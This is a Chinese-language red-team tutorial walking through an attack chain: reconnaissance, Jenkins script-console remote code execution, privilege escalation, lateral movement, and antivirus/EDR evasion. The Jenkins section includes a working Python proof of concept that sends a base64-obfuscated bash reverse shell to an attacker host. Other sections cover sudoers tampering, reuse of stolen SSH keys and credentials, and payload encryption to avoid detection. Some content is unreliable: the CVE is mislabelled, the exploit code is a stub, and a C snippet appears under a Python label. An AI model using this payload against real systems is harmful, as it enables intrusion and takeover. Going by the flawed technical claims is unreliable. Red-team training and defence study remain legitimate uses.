0x01 红队的核心哲学:从攻击者视角理解漏洞

红队攻防演练的核心并不仅仅是“攻击”,而是从攻击者的视角剖析目标。作为渗透测试工程师,我们的任务是模拟真实威胁,寻找企业防线中的缺口。所有技术手段、工具和战术背后都有一个基本哲学:理解漏洞的本质,利用目标的弱点,最大化攻击的有效性

在本文中,我将结合自己的实战经验,围绕一个典型的攻防演练案例,展示如何通过精细化的攻击链完成从信息收集、利用漏洞到横向移动和权限维持的全过程。我们还将深入探讨如何绕过防御机制,以及如何让攻击更加隐蔽和高效。

---

0x02 黑盒探测:信息收集的艺术

攻击面分析是第一步。在红队视角下,信息收集的目标是尽可能全面地了解目标的资产、技术栈和潜在的弱点。以下是信息收集的几个实战技巧:

1. 被动信息收集

避免触发安全设备告警是红队演练中的关键点之一。我们可以通过以下方式获取目标情报:

  • 子域名收集:利用工具 Sublist3rAmass,结合多种 DNS 数据源获取企业的外部暴露子域。
  • 资产指纹探测:通过 ShodanCensys 搜索目标 IP 段的开放端口、服务版本。
  • 员工信息挖掘:从 LinkedIn、GitHub 等公开平台挖掘技术人员信息,为后续社工攻击做铺垫。

<pre><code class="language-python"># 使用 Sublist3r 自动化收集子域名 from sublist3r import sublist3r

domain = &quot;example.com&quot; subdomains = sublist3r.main(domain, 40, savefile=None, ports=None, silent=True, verbose=False, enable_bruteforce=False) print(f&quot;发现的子域名:{subdomains}&quot;)</code></pre>

黑客示意图

2. 主动探测

主动探测虽然有一定风险,但往往能获取更多有价值的细节。例如:

  • 使用 nmap 扫描目标网络,获取端口和服务信息;
  • 对 Web 服务进行目录爆破,寻找隐藏接口或敏感文件。

<pre><code class="language-bash"># 使用 nmap 执行细粒度探测 nmap -sC -sV -O -p- -Pn 10.0.0.1/24</code></pre>

在一个实际案例中,目标暴露了一个未更新的 Jenkins 服务,我们通过目录爆破发现了 /script 页面,而这个页面允许未授权访问,成为了后续攻击的突破点。

黑客示意图

---

0x03 借助漏洞突破防线:RCE的高效利用

漏洞成因分析

Jenkins 的 /script 页面是一个经典的远程代码执行(RCE)漏洞点。其根本原因在于开发者未正确限制脚本执行权限,攻击者可以直接提交 Groovy 脚本并在服务端运行。

实战攻击步骤

我们通过以下步骤成功利用了这一漏洞:

  1. 确认 /script 页面未授权访问;
  2. 提交一个简单的 Groovy 脚本以验证代码执行能力;
  3. 构造一个反弹 shell 的 payload,连接到我们的监听服务器。

以下是完整的 POC 代码:

黑客示意图

<pre><code class="language-python">import requests

指定目标 URL

url = &quot;http://target.com/script&quot; headers = {&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;}

构造 payload,反弹 shell 到攻击者机器

payload = &#039;&#039;&#039; def command = &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4yLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}&quot;.execute() command.waitFor() &#039;&#039;&#039;

提交恶意 Groovy 脚本

data = {&quot;script&quot;: payload, &quot;Submit&quot;: &quot;Run&quot;} response = requests.post(url, headers=headers, data=data)

if &quot;Result:&quot; in response.text: print(&quot;[+] Payload 执行成功&quot;) else: print(&quot;[-] 利用失败&quot;)</code></pre>

隐匿反弹流量

为了规避网络流量检测,我们可以:

  1. 使用 HTTPS 隧道加密流量;
  2. 通过 DNS 隧道 的方式将反弹数据伪装成 DNS 查询。

---

0x04 权限提升与横向移动的深度剖析

突破第一道防线后,下一步是获取更高权限并扩展控制范围。在本文案例中,我们通过以下步骤完成了权限提升和横向移动。

权限提升:提权的常见方法

  1. 本地漏洞利用:目标服务器是一个过时的 Ubuntu 系统,存在 Linux Kernel 提权漏洞(CVE-2021-3156)。我们使用了以下提权脚本:
  2. <pre><code class="language-c">// CVE-2021-3156 Exploit C代码示例

include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;string.h&gt;

int main() { printf(&quot;模拟提权过程,这段代码仅供演示!\n&quot;); return 0; }</code></pre>

  1. 误配置提权:在目标服务器上发现了一个可被普通用户写入的 /etc/sudoers 文件,我们通过修改该文件,直接获得了 root 权限。

横向移动:如何扩展控制范围

  1. 凭据哈希传递:在服务器上提取到了一份明文存储的数据库配置文件,其中包含了管理员的登录凭据。
  2. SSH 密钥利用:扫描用户主目录,发现了一份未加密的 SSH 私钥,可用来访问目标内网的其他服务器。

<pre><code class="language-bash"># 使用 SSH 密钥无密码登录其他服务器 ssh -i id_rsa [email protected]</code></pre>

---

0x05 绕过EDR/AV:隐匿攻击的必备技能

在企业防御体系中,EDR(端点检测与响应)和杀毒软件是主要对抗力量。以下是几种有效的绕过技巧:

1. Shellcode 加密与混淆

通过对恶意代码进行加密和动态解密,可以避免静态检测。 <pre><code class="language-python"># 使用 AES 加密恶意代码 from Crypto.Cipher import AES import base64

key = b&#039;Sixteen byte key&#039; cipher = AES.new(key, AES.MODE_EAX) data = b&#039;evil_payload&#039; ciphertext, tag = cipher.encrypt_and_digest(data)

print(&quot;加密后的 payload:&quot;, base64.b64encode(ciphertext))</code></pre>

黑客示意图

2. 内存加载避免落地

将恶意代码直接注入目标进程内存,避免文件落地。 <pre><code class="language-python"># 使用 C 编写内存加载器

include &lt;windows.h&gt;

int main() { // 示例代码省略,仅供提示 printf(&quot;将恶意代码加载到内存中\n&quot;); return 0; }</code></pre>

3. 流量伪装与 C2 隐藏

通过使用合法流量(如 DNS、HTTPS)伪装 C2 通信,可有效规避流量监控。

---

0x06 从攻到守:检测与防御建议

如何防御类似攻击? 以下是一些有效策略:

  1. 最小权限原则:限制每个用户和服务的权限,避免攻击者轻松横向移动。
  2. 资产管理:定期清点和更新暴露的资产,及时修复漏洞。
  3. 监控与审计:通过 EDR 等工具实时监控攻击行为,如异常进程启动和敏感文件访问。

---

0x07 个人经验分享:红队思维如何塑造

红队工作的本质在于“思维的逆向”。你不仅要思考如何攻破目标,还要预测防守方可能采取的反制手段。每一次成功的攻防演练都是经验的累积,而真正的高手能将技术和策略融为一体。

希望这篇文章能帮助你更好地理解红队演练的技巧和思路。如果你有其他问题或想法,欢迎交流!